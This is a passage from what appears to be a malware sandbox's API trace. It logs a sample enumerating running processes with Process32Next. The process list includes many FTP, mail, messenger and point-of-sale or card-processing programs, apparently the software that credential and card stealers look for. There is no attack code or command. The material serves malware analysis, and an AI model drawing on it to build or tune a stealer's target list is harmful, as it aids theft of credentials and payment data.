lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.961] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.963] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.967] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.970] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.973] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.975] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.978] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.981] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.983] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.986] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.989] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.991] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.994] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0252.035] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0252.039] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.041] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0252.044] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0252.046] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0252.049] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.053] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.055] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0252.058] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.061] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.063] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.066] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.070] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.072] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.075] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0252.077] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0252.080] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0252.082] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0252.085] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0252.087] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0252.090] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0252.092] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0252.095] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0252.097] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0252.100] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0252.102] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0252.106] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0252.108] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0252.111] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0252.114] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0252.116] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0252.118] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0252.120] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0252.122] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0252.124] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0252.126] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0252.128] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0252.130] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0252.134] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0252.136] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0252.139] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0252.141] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0252.144] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0252.177] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0252.180] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0252.183] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0252.186] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0252.189] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0252.191] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0252.194] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0252.198] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0252.200] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0252.203] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0252.207] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0252.210] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0252.214] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0252.219] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0252.229] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0252.233] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0252.237] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0252.241] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0252.246] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0252.249] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0252.255] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0252.259] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0252.262] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0252.267] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0252.272] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0252.275] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0252.279] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 